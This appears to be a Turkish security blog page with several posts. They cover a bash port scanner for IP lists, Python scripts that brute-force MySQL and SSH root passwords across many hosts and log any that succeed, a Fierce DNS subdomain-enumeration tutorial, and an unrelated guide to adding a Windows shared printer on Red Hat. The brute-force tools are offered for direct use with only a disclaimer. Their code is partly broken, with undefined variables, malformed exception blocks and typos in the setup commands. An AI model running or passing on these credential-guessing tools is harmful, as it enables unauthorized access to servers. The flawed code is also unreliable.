Bash Script ile port scanner

Bazı durumlar çok fazla ip adresine ait servis bilgisini scan etmeniz gerekebiliyor, normal tools ile bu işlem biraz uzun sürebiliyor, bu gibi durumlar da kendimizin yazacak olduğu port scanner daha hızlı sonuç verecektir.

Ktools adında bir folder oluşturun bir kereye mahsuz sunu kopyalayıp komut satırına yapıştırın.

touch FTP.txt
touch SSH.txt
touch SMTP.txt
touch DNS.txt
touch WEB.txt
touch IMAP.txt
touch SNMP.txt
touch HTTPS.txt
touch SMTPS.txt
touch RLOGİN.txt
touch SUBMISSION.txt
touch IMAPS.txt
touch OPENVPN.txt
touch DELL.txt
touchMsSQL.txt
touch MCSVPN.txt
touch CPANEL.txt
touchDADMİN.txt
touch MySQL.txt
touch RDP.txt
touch RADMIN.txt
touchSIP.txt
touch PLESK.txt
touch WEBMIN.txt
touch ip_list

Bu işlem ile klasör içerisinde yukarıdaki isimler de text boş dökümanlar oluşacak.

ip_list içerine scan işlemini gerçekleştireceğimiz ip adreslerini eklemeliyiz.

Port check işlemini yapan komut,

#timeout 0.5 bash -c "echo >/dev/tcp/$x/21" 2>/dev/null
#if [ $? -eq 0 ]
#then
#echo $x":21:FTP"
#echo $x >> FTP.txt
#fi

bu şekilde, $x ip adresini temsil ediyor sonrasındaki /21 de portu, örneğin aşağıdaki komut 192.168.1.2 ip adresinin 21. portunu check edecek açık ise ekrana;

192.168.1.2:21:FTP yazacak ve ip adresini FTP.txt içerisine keleyecektir.

Sizler de bu yapı üzerinden istediğiniz gibi değişikliker yapabilirsiniz.

#timeout 0.5 bash -c "echo >/dev/tcp/192.168.1.2/21" 2>/dev/null
#if [ $? -eq 0 ]
#then
#echo $x":21:FTP"
#echo $x >> FTP.txt
#fi

Faydalı olabilmesi temennisi ile.

#!/bin/bash
echo "####################################################################"
echo "#                       ______                                     #"
echo "#                        .-.      .-.                              #"
echo "#                       /            \                             #"
echo "#                      |    kAyhAn    |                            #"
echo "#                      |,  .-.  .-.  ,|                            #"
echo "#                      | )(X_/  \X_)( |                            #"
echo "#                      |/     /\     \|                            #"
echo "#              _       (_     ^^     _)                            #"
echo "#      _\ ____) \_______\__|IIIIII|__/_________________________    #"
echo "#     (_)[___]{}<________|-\IIIIII/-|__kYh__kYh__kYh___________\   #"
echo "#       /     )_/        \          /                              #"
echo "#                         \ ______ /                               #"
echo "#                                                                #"
echo "#                         Scan All IP                              #"
echo "#                                                   #"
echo "####################################################################"
for x in `cat ip_list` ; do
echo ""
echo $x >last_ip
echo //// $x ////

timeout 0.5 bash -c "echo >/dev/tcp/$x/21" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":21:FTP"
echo $x >> FTP.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/22" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":22:SSH"
echo $x >>  SSH.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/25" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":25:SMTP"
echo $x >>  SMTP.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/53" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":53:DNS"
echo $x >>  DNS.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/80" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":80:Web"
echo $x >>  WEB.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/110" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":110:POP3"
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/135" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":135:RPC"
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/143" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":143:IMAP"
echo $x >>  IMAP.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/161" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":161:SNMP"
echo $x >>  SNMP.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/443" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":443:HTTPS"
echo $x >>  HTTPS.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/465" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":465:SMTPS"
echo $x >>  SMTPS.txt
fi

#timeout 0.5 bash -c "echo >/dev/tcp/$x/513" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":513:Rlogin"
echo $x >>  RLOGİN.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/587" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":587:Submission"
echo $x >>  SUBMISSION.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/993" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":993:IMAPS"
echo $x >>  IMAPS.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/1194" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":1194:OpenVPN"
echo $x >>  OPENVPN.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/1311" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":1311:Dell Open Manage"
echo $x >>  DELL.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/1433" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":1433:MsSQL"
echo $x >>  MsSQL.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/1723" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":1723:PPTP(MCS VPN)"
echo $x >>  MCSVPN.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/2083" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":2083:Cpanel"
echo $x >>  CPANEL.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/2086" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":2086:Cpanel"
echo $x >>  CPANEL.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/2222" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":2222:Direct Admin"
echo $x >>  DADMİN.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/3306" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":3306:MySQL"
echo $x >>  MySQL.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/3389" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":3389:RDP"
echo $x >>  RDP.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/4899" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":4899:Radmin"
echo $x >>  RADMIN.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/5060" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":5060:SIP"
echo $x >>  SIP.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/8443" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":8443:Plesk"
echo $x >>  PLESK.txt
fi

timeout 0.5 bash -c "echo >/dev/tcp/$x/10000" 2>/dev/null
if [ $? -eq 0 ]
then
echo $x":10000:webmin"
echo $x >>  WEBMIN.txt
fi
done
Share Button

Python ile MySQL brute force

Bu yazımda python ile geliştirdiğim uygulamadan bahsedeğim.

Bazı testler de scan edilecek kuruma ait ip bloğu çok fazla olabiliyor, üniversiteler gibi..

Bu gibi durumlar da basic brute force testler gerçekleştiriliyor ve bu testler de farklı brute force tools ları kullanılıyor.

Hydra ve benzeri yazılımlara çok fazla ip adresi için brute force yapmasını istediğinizde kilitleniyor.

Bende bu durumda başımın çağresine bakmalıydım ve öyle de yaptım, oturdum python da kendim mysql brute force yapan bir tools yazdım, kodlar aşağıdaki şekilde.

Kodların kötüye kullanılmayacağını temenni ederek paylaşıyorum, kötüye kullanımıda sorumluluk kullanıcıya aittir.

Bu dosyayı bir dizine atın, aynı dizine ,

MySQL.log, MySQL.txt, password.txt text dosyalarını oluşturun, test edilecek ip adreslerini MySQL.txt ye password listenizi password.txt ye yerleştirin. python mysql.py şeklinde çalıştırın.

import MySQLdb
logfile=open(‘MySQL.log’, ‘w’)
ipaddress=open(“MySQL.txt”, ‘r’)
password = open(‘password.txt’, ‘r+’)
passlist=password.readlines()
iplist=ipaddress.readlines()

for x in iplist:
	passcount=0
	for y in passlist:
		passcount=passcount+1
		try:
			print “IP : %s” %x.rstrip()
			print “User : root”
			print “Password : %s” %y.rstrip()
			print “Denene sifre adeti : %s” %passcount
			db=MySQLdb.connect(host=x,user=’root’,passwd=y.rstrip())
			print “\t\nLogin successful:”,ip, user, passw
			logfile.write(x.rstrip())
			logfile.write(user)
			logfile.write(y.rstrip())
			db.close()
		except(MySQLdb.Error), msg:
			print “An error occurred:”, msg
			print “—————————”
			print “\n”
			pass
Share Button

Python ile SSH brute force

Bu yazımda Python ile ssh brute force işlemini gerçekleştiren kod betiğini inceleyeceğiz.

Bazı testler de scan edilecek kuruma ait ip bloğu çok fazla olabiliyor, üniversiteler gibi

Bu gibi durumlar da basic brute force testler gerçekleştiriliyor ve bu testler de farklı brute force tools ları kullanılıyor.

Hydra ve benzeri yazılımlara çok fazla ip adresi için brute force yapmasını istediğinizde kilitleniyor.

Bende bu durumda başımın çağresine bakmalıydım ve öyle de yaptım, oturdum python da kendim ssh brute force yapan bir tools yazdım, kodlar aşağıdaki şekilde.

Kodların kötüye kullanılmayacağını temenni ederek paylaşıyorum, kötüye kullanımıda sorumluluk kullanıcıya aittir.

Bu dosyayı bir dizine atın, aynı dizine ,

SSH.log, SSH.txt, password.txt text dosyalarını oluşturun, test edilecek ip adreslerini SSH.txt ye password listenizi password.txt ye yerleştirin. python ssh.py şeklinde çalıştırın.


import paramiko
import itertools,string,crypt
import socket
logfile=open('SSH.log', 'w')
ipaddress=open("SSH.txt", 'r')
password = open('password.txt', 'r')
passlist=password.readlines()
iplist=ipaddress.readlines()
ipcount=len(iplist)
x=0
y=0
for x in range(0, ipcount):
	for y in passlist:
		try:
			ssh=paramiko.SSHClient()
			ssh.load_system_host_keys()
			ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())
			ssh.connect(iplist[x], port='22', username='root', password=y.rstrip())
			print iplist[x].rstrip()
			print y
			print "Login Success"
			logfile.write(str(iplist[x]))
			logfile.write(str(y))
			logfile.close()
			x=x+1

		except paramiko.AuthenticationException, error:
			print "-------------"
			print iplist[x].rstrip()
			print y.rstrip()
			print "Not Login"
			continue
			except socket.error, error:
			print error
			x=x+1
			continue
		except paramiko.SSHException, error:
			print error
			print "Most probably this is caused by a missing host key"
			x=x+1
			continue
		except Exception, error:
			print "Unknown error:"
			logfile.write(str(iplist[x]))
			logfile.write(str(y))
			logfile.close()
			x=x+1
			continue
		except Exception,error :
			print error
			x=x+1
			continue
		except Exception,error :
			print error
			x=x+1

Share Button

Fierce Kullanımı / Using Fierce

Bu makalemde sizlerle Fierce yazılımından bahsedeceğim.

Bu yazılım perl ile yazılmış dns zone transferi ve dns brute force ile subdomain tespit etmeyi sağlayan oldukça başarılı bir yazıılım.

Fierce yazılımı 2 yöntem ile subdomainleri tespit etmekte,

1-Zone transfer (Güvenlik nedeni ile bu özellik genellikle dns sunucularında kapalıdır ve başarısız olunur.)

Google.com için gerçekleştirdiğimiz testte görüldüğü gibi zone transferine izin verilmemekte ve son satırda belirtildiği gibi brute force testine başlanacak.

2- Brute force denemesi ile test eder, brute force listenizdeki subdomain sayısı arttıkca tespit edilecek subdomain sayısıda artmaktadır.

Brute force da fierce.pl dosyası ile aynı dizinde hosts.txt adında bir txt dosya bulunmakta ve bu dosya içersinde test edilecek subdomain listesi bulunmakta, isterseniz bu listeye sizde elle eklemeler yapabilirsiniz.

 

Aşağıdaki linkte bir miktar subdomain listesi bulunmakta, isterseniz sizler bunu daha fazla geliştirebilirsiniz.

https://github.com/TheRook/subbrute/blob/master/subs.txt

http://ha.ckers.org/fierce/hosts.txt

 

Gelelim Fierce kullanımına,

Linux kullanıcıları her hangi bir dizinde,

fierce.pl ve hosts.txt adında iki adet boş text döküma oluşturun ve fierce.pl içeriğine http://ha.ckers.org/fierce/fierce.pl URL sindeki kodları yapıştırın.

chmod a+x fierce.pl ile perl dosyasına tüm kullanıcılar tarafından çalıştırılabilir olma yetkisini verin.

hosts.txt içerisine de,

https://github.com/TheRook/subbrute/blob/master/subs.txt

http://ha.ckers.org/fierce/hosts.txt

bu iki text deki subdomain listelerini ekleyin.

 

Uygulama ve brute force listemiz hazır olduğuna göre testlerimize başlayabiliriz.

Komut satırında,

./fierce.pl -h ile uygulamanın help içeriğine erişebilirsiniz.

./fierce.pl -dns google.com ile de google ait subdomainleri tespit etmeye başlayabiliriz.

Fierce tarama sonucunda size alan adının kullanmış olduğu subnetler hakkında da bilgi verir.

Pentest yapan birisi için gerekli olan bu bilgi, kurumun kullanmakta olduğu subneti ve hangi subnet aralıklarında çalışması gerektiğini belirtir, nmap v.b. programlar ile bu subnetler scan edilebilir. Aşağıdaki image de görebileceğiniz gibi 487 subdomain tespit edilmiş.

Fierce uygulamasının daha farklı ve çeşitli kullanumları mevcut, makaledeki kaynaklar bölümünden veya ./firece -h ile alternetif kullanım yöntemlerine erişebilirsiniz.

Faydalı olabilmesi temennisi ile.

 

 

Kaynaklar

http://ha.ckers.org/fierce

http://carnal0wnage.attackresearch.com/2007/12/fiercedns-for-dns-enumeration.html

http://c0nnect3d.blogspot.com/2012/05/dns-enumeration-using-fiercepl.html

Share Button

Windows Print Server dan Share Edilen Printerı Redhat a Ekleme

Redhat Sunuculara windows printer server dan share edilmiş printerları ekleme

Kullanıcı adı ve şifremiz ile sisteme login olduktan sonra işlem adımları sırası ile aşağıdaki gibidir.

1-Root yetkisine sahip değilseniz sudo su – ile şifremizi girerek root yetkisine erişebiliyor olmamız gerekir.

 

2- Root yetkisine sahip olduktan sonra öncelikle printer servisinin çalıştığından emin olun.

/etc/init.d/cups status :bu komut size servisin durumunu belirtecektir.

Servis stop durumunda ise

/etc/init.d/cups start ile printer servisini start edebilirsiniz.

Servisi start ettikten sonra servisin sunucu açıldığında da çalışabilir olduğundan emin olmak için,

chkconfig –list|grep cups komutunu çalıştırıyoruz.

cups 0:off 1:off 2:on 3:on 4:on 5:on 6:off

Eğer printer servisi açılışta start oluyor ise yukarıdaki gibi bir çıktı alacağız start olmuyor ise tüm seçenekler off olaracaktır.

Bunu on konumuna getirmek için

chkconfig cups on komutunu çalıştırıyoruz.

3- Komut satırınında system-config-printer komutunu çalıştırın, printer ayar penceresi açılacaktır.

4-New printer butonu ile printer adı, açıklama ve lokasyon bilgisini girin ve iler butonu ile devam edin

 

Örnek :

Adı : Muhasene EPSON

Açıklama : Muhasebe Epson Lazer Printer

Lokasyon : Muhasebe

5-Bu baglantıda connection tipini seçmemiz gerekiyor, biz windows server dan share edilen bir printerı kullanacağımız için Windows printer via samba seçeneğini seçiyoruz.

Ayrıca istenirse search ederekte printer bulunmak istenebilir.

6-Bu bölümde sizden bazı bilgiler talep edecektir,

Smb:// : Bu alana printer share eden windows sunucu ip adresi ve printer name yer alacak.

Username : Windows sunucu da printerlara çıktı gönderebilecek yetkiye sahip username

Password : Windows sunucudaki yetkili user a ait şifre bilgisi.

Smb:// /10.0.0.1/Muhasbe-Epson

User : printeruser

Password : printpass

Printer sunucusu domain ortamında ise,

Smb:// /10.0.0.1/Muhasbe-Epson

User : domain.com/printeruser

Password : printpass

Şeklinde olmalıdır.

7-Verify butonu ile username ve password de hata olmadığını check edebilirsiniz, sorun yok ise iler butonu ile devam edebiliriz.

8-Bu bölümde bizim iki seçenek sunulacak, istersen redhat database deki PPD file istersek de kendi elimizde bulunana printer a ait PDD file seçerek ileri butonu ile devam edebilirsiniz. Bu işlemi windows daki .inf dosyası gibi düşünebilirsiniz.

9- Bu bölümde printer modelini seçerek ileri butonuna tıklayın ve uygula butonuna basarak işlemi sonlandırın.

10- Sunucumuza eklemiş olduğumuz printerın sağlıklı bir şekilde çalıştığını test etmek için lpq komutunu kullanıyoruz. Aşağıdaki gibi ready ise printer hazır demektir. Sorun var ise sırası ile network, windows printer server, username password gibi adımları yeniden check edebilirsiniz.

Echo test > test.txt : Bu komut ile test.txt içerisine test yazdırıyoruz.

Lpr test.txt : test.txt yi printer a gönderiyoruz.

Lpstat : Printerdaki kuyrugu check edebiliyoruz.

Share Button